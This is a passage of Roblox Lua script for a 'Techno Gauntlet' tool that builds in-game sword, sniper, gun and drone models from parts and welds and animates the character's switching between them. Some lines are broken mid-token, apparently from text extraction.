smshblade1=mesh("SpecialMesh",sprtblade1,"Wedge","",vt(0,0,0),vt(0.1+numb2,0.7,0.7)
)
local swldblade1=weld(sprtblade1,sprtblade1,sprt5,euler(0,0,0)*cf(0,-
0.3-numb,0.1+bend)*euler(-bend,0,0))
table.insert(SwordWelds,swldblade1)
local
sprtblade2=part(3,sword,0.3,0,BrickColor.new("White"),"Partblade2",vt(1,1,1))
smshblade2=mesh("SpecialMesh",sprtblade2,"Wedge","",vt(0,0,0),vt(0.1+numb2,0.7,0.7)
)
local swldblade2=weld(sprtblade2,sprtblade2,sprt12,euler(0,0,0)*cf(0,-
0.3-numb,0.1+bend)*euler(-bend,0,0))
table.insert(SwordWelds,swldblade2)
numb=numb+0.3
numb2=numb2-0.01
bend=bend+0.05
end
local sniper=Instance.new("Model")
sniper.Parent=modelzorz
sniper.Name="Hand Sniper"
sniper.Parent=nil
snmsh1=mesh("BlockMesh",snprt1,"","",vt(0,0,0),vt(0.2,1,0.2))
snmsh2=mesh("BlockMesh",snprt2,"","",vt(0,0,0),vt(0.201,0.5,0.5))
snmsh3=mesh("BlockMesh",snprt3,"","",vt(0,0,0),vt(0.2,0.3,0.3))
snmsh4=mesh("BlockMesh",snprt4,"","",vt(0,0,0),vt(0.199,0.6,0.7))
snmsh5=mesh("BlockMesh",snprt5,"","",vt(0,0,0),vt(0.198,0.9,0.3))
snmsh6=mesh("BlockMesh",snprt6,"","",vt(0,0,0),vt(0.202,3.5,0.3))
snmsh7=mesh("BlockMesh",snprt7,"","",vt(0,0,0),vt(0.1,0.5,0.1))
snmsh8=mesh("BlockMesh",snprt8,"","",vt(0,0,0),vt(0.1,0.6,0.1))
snmsh9=mesh("BlockMesh",snprt9,"","",vt(0,0,0),vt(0.201,1.7,0.2))
snmsh10=mesh("BlockMesh",snprt10,"","",vt(0,0,0),vt(0.15,0.4,0.4))
snmsh11=mesh("BlockMesh",snprt11,"","",vt(0,0,0),vt(0.201,0.8,0.2))
snmsh12=mesh("CylinderMesh",snprt12,"","",vt(0,0,0),vt(0.2,4,0.2))
snmsh13=mesh("CylinderMesh",snprt13,"","",vt(0,0,0),vt(0.4,0.2,0.4))
snmsh14=mesh("CylinderMesh",snprt14,"","",vt(0,0,0),vt(0.22,0.3,0.22))
snmsh15=mesh("CylinderMesh",snprt15,"","",vt(0,0,0),vt(0.15,0.301,0.15))
snmsh16=mesh("BlockMesh",snprt16,"","",vt(0,0,0),vt(0.1,0.7,0.1))
snmsh17=mesh("BlockMesh",snprt17,"","",vt(0,0,0),vt(0.05,0.2,0.1))
snmsh18=mesh("BlockMesh",snprt18,"","",vt(0,0,0),vt(0.05,0.2,0.1))
snmsh19=mesh("BlockMesh",snprt19,"","",vt(0,0,0),vt(0.05,0.2,0.1))
snmsh20=mesh("BlockMesh",snprt20,"","",vt(0,0,0),vt(0.05,0.2,0.1))
snmsh21=mesh("CylinderMesh",snprt21,"","",vt(0,0,0),vt(0.2,0.099,0.2))
snmsh22=mesh("CylinderMesh",snprt22,"","",vt(0,0,0),vt(0.2,0.099,0.2))
snmsh23=mesh("CylinderMesh",snprt23,"","",vt(0,0,0),vt(0.199,1,0.199))
snmsh24=mesh("CylinderMesh",snprt24,"","",vt(0,0,0),vt(0.15,1.01,0.15))
snmsh25=mesh("BlockMesh",snprt25,"","",vt(0,0,0),vt(0.3,0.5,0.2))
snmsh26=mesh("CylinderMesh",snprt26,"","",vt(0,0,0),vt(0.05,0.3,0.05))
snmsh27=mesh("SpecialMesh",snprt27,"Sphere","",vt(0,0,0),vt(0.1,0.1,0.1))
snmsh28=mesh("BlockMesh",snprt28,"","",vt(0,0,0),vt(0.05,0.3,0.05))
snmsh29=mesh("CylinderMesh",snprt29,"","",vt(0,0,0),vt(0.15,0.4,0.15))
local SniperWelds={}
local snwld1=weld(snprt1,snprt1,Torso,euler(0.5,0,0)*cf(0,-4,0))
local snwld2=weld(snprt2,snprt2,snprt1,euler(-0.5,0,0)*cf(0,0.5,-0.2))
local snwld3=weld(snprt3,snprt3,snprt2,euler(-0.785,0,0)*cf(0,-0.1,-0.2))
local snwld4=weld(snprt4,snprt4,snprt3,euler(0.785,0,0)*cf(0,-0.4,0))
local snwld5=weld(snprt5,snprt5,snprt4,cf(0,0,-0.3))
local snwld6=weld(snprt6,snprt6,snprt1,euler(1.07,0,0)*cf(0,-0.5,0.2))
local snwld7=weld(snprt7,snprt7,snprt6,euler(0,0,0)*cf(0,0.2,0.5))
local snwld8=weld(snprt8,snprt8,snprt6,euler(1.57,0,0)*cf(0,-0.1,0.25))
local snwld9=weld(snprt9,snprt9,snprt6,euler(0,0,0)*cf(0,-0.9,0.25))
local snwld10=weld(snprt10,snprt10,snprt9,euler(0,0,0)*cf(0,0.5,0.2))
local snwld11=weld(snprt11,snprt11,snprt6,euler(0,0,0)*cf(0,0.2,-0.2))
local snwld12=weld(snprt12,snprt12,snprt11,euler(0,0,0)*cf(0,-2,0))
local snwld13=weld(snprt13,snprt13,snprt12,euler(0,0,0)*cf(0,-1.8,0))
local snwld14=weld(snprt14,snprt14,snprt12,euler(0,0,0)*cf(0,-2,0))
local snwld15=weld(snprt15,snprt15,snprt14,euler(0,0,0)*cf(0,0,0))
local snwld16=weld(snprt16,snprt16,snprt11,euler(0,0,0)*cf(0,0,-0.1))
local snwld17=weld(snprt17,snprt17,snprt16,euler(1.57,0,0)*cf(0.05,0.2,-0.1))
local snwld18=weld(snprt18,snprt18,snprt16,euler(1.57,0,0)*cf(-0.05,0.2,-
0.1))
local snwld19=weld(snprt19,snprt19,snprt16,euler(1.57,0,0)*cf(-0.05,-0.2,-
0.1))
local snwld20=weld(snprt20,snprt20,snprt16,euler(1.57,0,0)*cf(0.05,-0.2,-
0.1))
local snwld21=weld(snprt21,snprt21,snprt16,euler(0,0,0)*cf(0,0.2,-0.2))
local snwld22=weld(snprt22,snprt22,snprt16,euler(0,0,0)*cf(0,-0.2,-0.2))
local snwld23=weld(snprt23,snprt23,snprt16,euler(0,0,0)*cf(0,0,-0.2))
local snwld24=weld(snprt24,snprt24,snprt23,euler(0,0,0)*cf(0,0,0))
local snwld25=weld(snprt25,snprt25,snprt6,euler(0,0,0)*cf(0,-0.5,0))
local snwld26=weld(snprt26,snprt26,snprt25,cf(0,-0.3,0)*euler(0.5,0.7,1.57))
local snwld27=weld(snprt27,snprt27,snprt26,cf(0,-0.1,0))
local snwld28=weld(snprt28,snprt28,snprt6,euler(1.57-0.5,0,0)*cf(0,0.2,0.2))
local snwld29=weld(snprt29,snprt29,snprt9,euler(0,0.2,1.57)*cf(0,-0.8,0.1))
table.insert(SniperWelds,snwld1)
table.insert(SniperWelds,snwld2)
table.insert(SniperWelds,snwld3)
table.insert(SniperWelds,snwld4)
table.insert(SniperWelds,snwld5)
table.insert(SniperWelds,snwld6)
table.insert(SniperWelds,snwld7)
table.insert(SniperWelds,snwld8)
table.insert(SniperWelds,snwld9)
table.insert(SniperWelds,snwld10)
table.insert(SniperWelds,snwld11)
table.insert(SniperWelds,snwld12)
table.insert(SniperWelds,snwld13)
table.insert(SniperWelds,snwld14)
table.insert(SniperWelds,snwld15)
table.insert(SniperWelds,snwld16)
table.insert(SniperWelds,snwld17)
table.insert(SniperWelds,snwld18)
table.insert(SniperWelds,snwld19)
table.insert(SniperWelds,snwld20)
table.insert(SniperWelds,snwld21)
table.insert(SniperWelds,snwld22)
table.insert(SniperWelds,snwld23)
table.insert(SniperWelds,snwld24)
table.insert(SniperWelds,snwld25)
table.insert(SniperWelds,snwld26)
table.insert(SniperWelds,snwld27)
table.insert(SniperWelds,snwld28)
table.insert(SniperWelds,snwld29)
numb=-0.15
numb2=0.1
for i=1,2 do
local
snprt30=part(3,sniper,0,0,BrickColor.new("Black"),"Part30",vt(1,1,1))
local
snprt31=part(3,sniper,0,0,BrickColor.new("Black"),"Part31",vt(1,1,1))
local
snprt32=part(3,sniper,0,0,BrickColor.new("Black"),"Part32",vt(1,1,1))
local
snprt33=part(3,sniper,0,0,BrickColor.new("Black"),"Part33",vt(1,1,1))
local
snprt34=part(3,sniper,0,0,BrickColor.new("Black"),"Part34",vt(1,1,1))
local
snprt35=part(3,sniper,0,0,BrickColor.new("Black"),"Part35",vt(1,1,1))
local
snprt36=part(3,sniper,0,0,BrickColor.new("Black"),"Part36",vt(1,1,1))
local
snprt37=part(3,sniper,0,0,BrickColor.new("Black"),"Part37",vt(1,1,1))
snmsh30=mesh("CylinderMesh",snprt30,"","",vt(0,0,0),vt(0.2,0.1,0.2))
snmsh31=mesh("CylinderMesh",snprt31,"","",vt(0,0,0),vt(0.1,0.5,0.1))
snmsh32=mesh("CylinderMesh",snprt32,"","",vt(0,0,0),vt(0.15,0.1,0.15))
snmsh33=mesh("CylinderMesh",snprt33,"","",vt(0,0,0),vt(0.125,0.3,0.125))
snmsh34=mesh("CylinderMesh",snprt34,"","",vt(0,0,0),vt(0.15,0.2,0.15))
snmsh35=mesh("CylinderMesh",snprt35,"","",vt(0,0,0),vt(0.08,0.8,0.08))
snmsh36=mesh("CylinderMesh",snprt36,"","",vt(0,0,0),vt(0.15,0.2,0.15))
snmsh37=mesh("CylinderMesh",snprt37,"","",vt(0,0,0),vt(0.2,0.1,0.2))
local snwld30=weld(snprt30,snprt30,snprt29,euler(0,0,0)*cf(0,numb,0))
local
snwld31=weld(snprt31,snprt31,snprt30,euler(0,0,1.57+numb2)*cf(0.25,0,0))
local snwld32=weld(snprt32,snprt32,snprt31,cf(0,0.25,0))
local snwld33=weld(snprt33,snprt33,snprt32,cf(0,0.15,0))
local snwld34=weld(snprt34,snprt34,snprt33,cf(0,0.1,0))
local snwld35=weld(snprt35,snprt35,snprt34,cf(0,0.4,0))
local snwld36=weld(snprt36,snprt36,snprt35,cf(0,0.4,0))
local snwld37=weld(snprt37,snprt37,snprt36,cf(0,0.1,0))
table.insert(SniperWelds,snwld30)
table.insert(SniperWelds,snwld31)
table.insert(SniperWelds,snwld32)
table.insert(SniperWelds,snwld33)
table.insert(SniperWelds,snwld34)
table.insert(SniperWelds,snwld35)
table.insert(SniperWelds,snwld36)
table.insert(SniperWelds,snwld37)
numb=numb+0.3
numb2=numb2-0.2
end
if (script.Parent.className ~= "HopperBin") then
Tool = Instance.new("HopperBin")
Tool.Parent = Backpack
Tool.Name = "Techno Gauntlet"
script.Parent = Tool
end
Bin = script.Parent
local Bg = it("BodyGyro")
Bg.maxTorque = Vector3.new(4e+005,4e+005,4e+005)*math.huge
Bg.P = 20e+003
Bg.Parent = nil
so = function(id,par,vol,pit)
coroutine.resume(coroutine.create(function()
local sou = Instance.new("Sound",par or workspace)
sou.Volume=vol
sou.Pitch=pit or 1
sou.SoundId=id
wait()
sou:play()
wait(6)
sou:Remove()
end))
end
function CreateDrone()
local drone=Instance.new("Model")
drone.Parent=modelzorz
drone.Name="Drone"
local
dprt1=part(3,drone,0,1,BrickColor.new("White"),"DPart1",vt(1,1,1))
dprt1.CanCollide=true
local dprt6=part(3,drone,0,1,BrickColor.new("Bright
red"),"DPart6",vt(1,1,1))
local
dprt7=part(3,drone,0,1,BrickColor.new("Black"),"DPart7",vt(1,1,1))
local dmsh1=mesh("SpecialMesh",dprt1,"Sphere","",vt(0,0,0),vt(1,1,1))
local dmsh6=mesh("CylinderMesh",dprt6,"","",vt(0,0,0),vt(0.5,0.2,0.5))
local dmsh7=mesh("CylinderMesh",dprt7,"","",vt(0,0,0),vt(0.4,0.21,0.4))
--local dwld1=weld(dprt1,dprt1,Torso,euler(0,0,0)*cf(0,-5,0))
local dwld6=weld(dprt6,dprt6,dprt1,euler(1.57,0,0)*cf(0,0,0.4))
local dwld7=weld(dprt7,dprt7,dprt6,cf(0,0,0))
numb=0
for i=1,4 do
local dprt2=part(3,drone,0,1,BrickColor.new("Medium stone
grey"),"DPart2",vt(1,1,1))
local
dmsh2=mesh("BlockMesh",dprt2,"","",vt(0,0,0),vt(0.5,0.5,0.8))
local dwld2=weld(dprt2,dprt2,dprt1,cf(0,-0.5,0)*euler(0,0,numb))
numb=numb+1.57
end
numb=0
for i=1,4 do
local dprt3=part(3,drone,0,1,BrickColor.new("Dark stone
grey"),"DPart3",vt(1,1,1))
local
dmsh3=mesh("BlockMesh",dprt3,"","",vt(0,0,0),vt(0.5,0.5,0.79))
local dwld3=weld(dprt3,dprt3,dprt1,cf(0,-
0.3,0)*euler(0,0,0.785+numb))
numb=numb+1.57
end
numb=0
for i=1,4 do
local dprt4=part(3,drone,0,1,BrickColor.new("Dark stone
grey"),"DPart4",vt(1,1,1))
local
dmsh4=mesh("BlockMesh",dprt4,"","",vt(0,0,0),vt(0.2,0.8,0.2))
local
dwld4=weld(dprt4,dprt4,dprt1,cf(0,0.8,0)*euler(0.785,numb,0))
local dprt5=part(3,drone,0,1,BrickColor.new("Bright
blue"),"DPart5",vt(1,1,1))
local
dmsh5=mesh("SpecialMesh",dprt5,"Sphere","",vt(0,0,0),vt(0.4,0.4,0.4))
local dwld5=weld(dprt5,dprt5,dprt4,cf(0,0.5,0)*euler(0,0,0))
light1=Instance.new("PointLight")
light1.Brightness=.8
light1.Color=Color3.new(0,0,255)
light1.Range=10
light1.Parent=dprt5
numb=numb+1.57
end
return drone,dprt1
end
function hideanim()
equipped=false
if Mode=="Drones" then
Mode="Choose"
end
wait(0.1)
cone.Parent=nil
screen1.Parent=nil
screen2.Parent=nil
screen3.Parent=nil
Neck.C0=necko*euler(0,0,0)
wld9.C0=euler(0,0,0)*cf(0,0.05,0)
Bg.Parent=nil
end
function equipanim()
equipped=true
if Mode=="Choose" then
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0.3*i,0,-0.2*i)
RW.C0=cf(1.5-0.5*i, 0.5-0.2*i, -0.5*i) * euler(1*i,0,-1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-2.07*i,0)
LW.C0=cf(-1.5+0.3*i, 0.5, -0.3*i) * euler(1.5*i,0,1.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for i=0,1,0.1 do
wait()
wld9.C0=euler(0,-1.57*i,0)*cf(0,0.05,0)
Neck.C0=necko*euler(0.3+0.1*i,0,-0.2-0.1*i)
RW.C0=cf(1, 0.3, -0.5) * euler(1-0.2*i,0,-1+0.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-2.07-0.1*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.5-0.2*i,0,1.2-0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
coroutine.resume(coroutine.create(function()
cone.Parent=modelzorz
cone.Transparency=1
local conewld=weld(cone,cone,prt9,euler(0,0,0)*cf(0,0.2,0))
screen1.Parent=modelzorz
screen1.Transparency=1
local
screen1wld=weld(screen1,screen1,cone,euler(0,0.8,0)*cf(0,1,0))
screen2.Parent=modelzorz
screen2.Transparency=1
local
screen2wld=weld(screen2,screen2,screen1,cf(0,0,1)*euler(0,0.3,0))
screen3.Parent=modelzorz
screen3.Transparency=1
local screen3wld=weld(screen3,screen3,screen1,cf(0,0,-
1)*euler(0,-0.3,0))
for i=1,0.5,-0.05 do
wait()
cone.Transparency=i
screen1.Transparency=i
screen2.Transparency=i
screen3.Transparency=i
end
coroutine.resume(coroutine.create(function(Cone,Screen1,Screen2,Screen3)
while Mode=="Choose" do
wait(0.06)
Cone.Transparency=0.5
Screen1.Transparency=0.5
Screen2.Transparency=0.5
Screen3.Transparency=0.5
light1.Brightness=.7
light2.Brightness=.7
light3.Brightness=.7
wait(0.06)
Cone.Transparency=0.6
Screen1.Transparency=0.6
Screen2.Transparency=0.6
Screen3.Transparency=0.6
light1.Brightness=.8
light2.Brightness=.8
light3.Brightness=.8
end
end),cone,screen1,screen2,screen3)
end))
for i=0,1,0.1 do
wait()
wld9.C0=euler(0,-1.57,0)*cf(0,0.05,0)
Neck.C0=necko*euler(0.4-0.7*i,0,-0.3)
RW.C0=cf(1, 0.3, -0.5-0.3*i) * euler(0.8+0.77*i,0,-1+0.3)
RW.C1=cf(0, 0.5, 0) * euler(0,-2.17+0.67*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.3+1*i,0,0.7)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
Neck.C0=necko*euler(-0.3,0,-0.3)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57,0,-0.7)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(2.3,0,0.7)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
end
function Drones()
Mode="Drones"
attack=true
Humanoid.WalkSpeed=0
coroutine.resume(coroutine.create(function()
while Mode=="Drones" do
wait()
if Aiming==false then
DroneTarget=Torso.Position
end
end
end))
coroutine.resume(coroutine.create(function(Cone,Screen1,Screen2,Screen3)
numb=0.5
for i=0,1,0.1 do
wait()
Cone.Transparency=numb
Screen1.Transparency=numb
Screen2.Transparency=numb
Screen3.Transparency=numb
numb=numb+0.1
end
Cone.Parent=nil
Screen1.Parent=nil
Screen2.Parent=nil
Screen3.Parent=nil
end),cone,screen1,screen2,screen3)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3+0.3*i,0,-0.3+0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57-0.3*i,0,-0.7-0.6*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5+0.5*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(2.3-0.8*i,0,0.7-0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
local drone1,droneprt1=CreateDrone()
local dwld1=weld(droneprt1,droneprt1,Torso,euler(0,0,0)*cf(2,0,5))
local drone2,droneprt2=CreateDrone()
local dwld12=weld(droneprt2,droneprt2,Torso,euler(0,0,0)*cf(0,0,5))
local drone3,droneprt3=CreateDrone()
local dwld13=weld(droneprt3,droneprt3,Torso,euler(0,0,0)*cf(-2,0,5))
wait()
dwld1:Remove()
dwld12:Remove()
dwld13:Remove()
local pos=it("BodyPosition",droneprt1)
rand1=math.random(-5,5)
rand2=math.random(-5,5)
pos.position=Torso.Position + vt(rand1,5,rand2)
coroutine.resume(coroutine.create(function(BodyPosition)
while droneprt1.Parent~=nil do
wait(math.random(1,3))
BodyPosition.position=Torso.Position + vt(math.random(-
15,15),5,math.random(-15,15))
end
end),pos)
pos.maxForce=vt(7500,7500,7500)
pos.Name="BP"
local bg=it("BodyGyro",droneprt1)
bg.maxTorque=vt(math.huge,math.huge,math.huge)
bg.P=50000
--bg.cframe=cf(droneprt1.Position, Torso.Position)
coroutine.resume(coroutine.create(function(BodyGyro)
while droneprt1.Parent~=nil do
wait()
if Aiming==true then
BodyGyro.cframe=cf(droneprt1.Position, DroneTarget)
end
end
end),bg)
bg.Name="DroneGyro"
local pos=it("BodyPosition",droneprt2)
rand1=math.random(-5,5)
rand2=math.random(-5,5)
pos.position=Torso.Position + vt(rand1,5,rand2)
coroutine.resume(coroutine.create(function(BodyPosition)
while droneprt2.Parent~=nil do
wait(math.random(1,3))
BodyPosition.position=Torso.Position + vt(math.random(-
15,15),5,math.random(-15,15))
end
end),pos)
pos.maxForce=vt(7500,7500,7500)
pos.Name="BP"
local bg=it("BodyGyro",droneprt2)
bg.maxTorque=vt(math.huge,math.huge,math.huge)
bg.P=50000
--bg.cframe=cf(droneprt1.Position, Torso.Position)
coroutine.resume(coroutine.create(function(BodyGyro)
while droneprt2.Parent~=nil do
wait()
if Aiming==true then
BodyGyro.cframe=cf(droneprt2.Position, DroneTarget)
end
end
end),bg)
bg.Name="DroneGyro"
local pos=it("BodyPosition",droneprt3)
rand1=math.random(-5,5)
rand2=math.random(-5,5)
pos.position=Torso.Position + vt(rand1,5,rand2)
coroutine.resume(coroutine.create(function(BodyPosition)
while droneprt3.Parent~=nil do
wait(math.random(1,3))
BodyPosition.position=Torso.Position + vt(math.random(-
15,15),5,math.random(-15,15))
end
end),pos)
pos.maxForce=vt(7500,7500,7500)
pos.Name="BP"
local bg=it("BodyGyro",droneprt3)
bg.maxTorque=vt(math.huge,math.huge,math.huge)
bg.P=50000
--bg.cframe=cf(droneprt1.Position, Torso.Position)
coroutine.resume(coroutine.create(function(BodyGyro)
while droneprt3.Parent~=nil do
wait()
if Aiming==true then
BodyGyro.cframe=cf(droneprt3.Position, DroneTarget)
end
end
end),bg)
bg.Name="DroneGyro"
droneprt1.Anchored=true
for _,v in pairs(drone1:children()) do
if v.className=="Part" then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(1)
Part.Transparency=0
end),v)
end
end
effect=drone1:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
wait(0.5)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
end),v)
end
end
droneprt2.Anchored=true
for _,v in pairs(drone2:children()) do
if v.className=="Part" then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(1)
Part.Transparency=0
end),v)
end
end
effect=drone2:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
wait(0.5)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
end),v)
end
end
droneprt3.Anchored=true
for _,v in pairs(drone3:children()) do
if v.className=="Part" then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(1)
Part.Transparency=0
end),v)
end
end
effect=drone3:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
wait(0.5)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
end),v)
end
end
wait(2)
droneprt1.Anchored=false
droneprt2.Anchored=false
droneprt3.Anchored=false
Humanoid.WalkSpeed=16
wait()
effect.Parent=nil
for i=0,1,0.1 do
wait()
RW.C0=cf(1+0.5*i, 0.3+0.2*i, -0.8+0.8*i) * euler(1.27-0.77*i,0,-
1.3+1.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+1*i,0)
LW.C0=cf(-1.2-0.3*i, 0.5, -0.3+0.3*i) * euler(1.5-1.5*i,0,0.2-
0.4*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
return drone1, drone2, drone3
end
function Gun()
attack=true
Mode="Gun"
gwld1.Part1=LeftArm
gwld1.C0=euler(1.57+0.5,0,-1.57)*cf(0,1,0)
coroutine.resume(coroutine.create(function(Cone,Screen1,Screen2,Screen3)
numb=0.5
for i=0,1,0.1 do
wait()
Cone.Transparency=numb
Screen1.Transparency=numb
Screen2.Transparency=numb
Screen3.Transparency=numb
numb=numb+0.1
end
Cone.Parent=nil
Screen1.Parent=nil
Screen2.Parent=nil
Screen3.Parent=nil
end),cone,screen1,screen2,screen3)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3+0.3*i,0,-0.3+0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57-0.3*i,0,-0.7-0.6*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5+0.5*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(2.3-0.8*i,0,0.7-0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
gun.Parent=modelzorz
for e=1,#GunWelds do
GunWelds[e].Parent=modelzorz
end
for _,v in pairs(gun:children()) do
if v.className=="Part" then
v.Transparency=1
end
end
for _,v in pairs(gun:children()) do
if v.className=="Part" then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(0.5)
Part.Transparency=0
end),v)
end
end
effect=gun:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
effect.Parent=nil
end),v)
end
end
wait(0.5)
gwld1.Part1=LeftArm
gwld1.C0=euler(1.57+0.5,0,-1.57)*cf(0,1,0)
for i=0,1,0.1 do
wait()
gwld1.C0=euler(1.57+0.5,0,-1.57+1.57*i)*cf(0,1,0)
RW.C0=cf(1+0.5*i, 0.3+0.2*i, -0.8+0.8*i) * euler(1.27-1.27*i,0,-
1.3+1.5*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+1*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.5-1*i,0,0.2+0.4*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57*i,0)
end
attack=false
end
function Sword()
attack=true
Mode="Sword"
swld1.Part1=LeftArm
swld1.C0=euler(0,0,-1.57)*cf(0,1,0)
swld1.C1=euler(0,0,0)
coroutine.resume(coroutine.create(function(Cone,Screen1,Screen2,Screen3)
numb=0.5
for i=0,1,0.1 do
wait()
Cone.Transparency=numb
Screen1.Transparency=numb
Screen2.Transparency=numb
Screen3.Transparency=numb
numb=numb+0.1
end
Cone.Parent=nil
Screen1.Parent=nil
Screen2.Parent=nil
Screen3.Parent=nil
end),cone,screen1,screen2,screen3)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3+0.3*i,0,-0.3+0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57-0.3*i,0,-0.7-0.6*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5+0.5*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(2.3-0.8*i,0,0.7-0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
sword.Parent=modelzorz
for e=1,#SwordWelds do
SwordWelds[e].Parent=modelzorz
end
for _,v in pairs(sword:children()) do
if v.className=="Part" and v.Name~="Hitbox" and v.Name~="Mid"
then
v.Transparency=1
end
end
for _,v in pairs(sword:children()) do
if v.className=="Part" and v.Name~="Hitbox" and v.Name~="Mid"
then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(0.5)
Part.Transparency=0
end),v)
end
end
effect=sword:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" and v.Name~="Hitbox" and v.Name~="Mid"
then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
effect.Parent=nil
end),v)
end
end
wait(0.5)
for i=0,1,0.1 do
wait()
swld1.C0=euler(0,-1.57*i,1.57-3.14*i)*cf(0,1,0)
swld1.C1=euler(0,1.57*i,0)
RW.C0=cf(1+0.5*i, 0.3+0.2*i, -0.8+0.8*i) * euler(1.27-1.27*i,0,-
1.3+1.5*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+1*i,0)
LW.C0=cf(-1.2-0.3*i, 0.5, -0.3+0.3*i) * euler(1.5-1.5*i,0,0.2-
0.6*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function Sniper()
attack=true
Mode="Sniper"
snwld1.Part1=LeftArm
snwld1.C0=euler(0.5,0,0)*cf(0,1.6,-2)
coroutine.resume(coroutine.create(function(Cone,Screen1,Screen2,Screen3)
numb=0.5
for i=0,1,0.1 do
wait()
Cone.Transparency=numb
Screen1.Transparency=numb
Screen2.Transparency=numb
Screen3.Transparency=numb
numb=numb+0.1
end
Cone.Parent=nil
Screen1.Parent=nil
Screen2.Parent=nil
Screen3.Parent=nil
end),cone,screen1,screen2,screen3)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3+0.3*i,0,-0.3+0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57-0.3*i,0,-0.7-0.6*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5+0.5*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(2.3-0.8*i,0,0.7-0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
sniper.Parent=modelzorz
for e=1,#SniperWelds do
SniperWelds[e].Parent=modelzorz
end
for _,v in pairs(sniper:children()) do
if v.className=="Part" then
v.Transparency=1
end
end
for _,v in pairs(sniper:children()) do
if v.className=="Part" then
v.Transparency=1
coroutine.resume(coroutine.create(function(Part)
wait(0.5)
Part.Transparency=0
end),v)
end
end
effect=sniper:Clone()
effect.Parent=workspace
print(effect)
for _,v in pairs(effect:children()) do
if v.className=="Part" then
v.Transparency=1
v.Anchored=true
v.CanCollide=false
v.BrickColor=BrickColor.new("Bright blue")
coroutine.resume(coroutine.create(function(Part)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency-0.05
end
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.05
end
Part.Parent=nil
effect.Parent=nil
end),v)
end
end
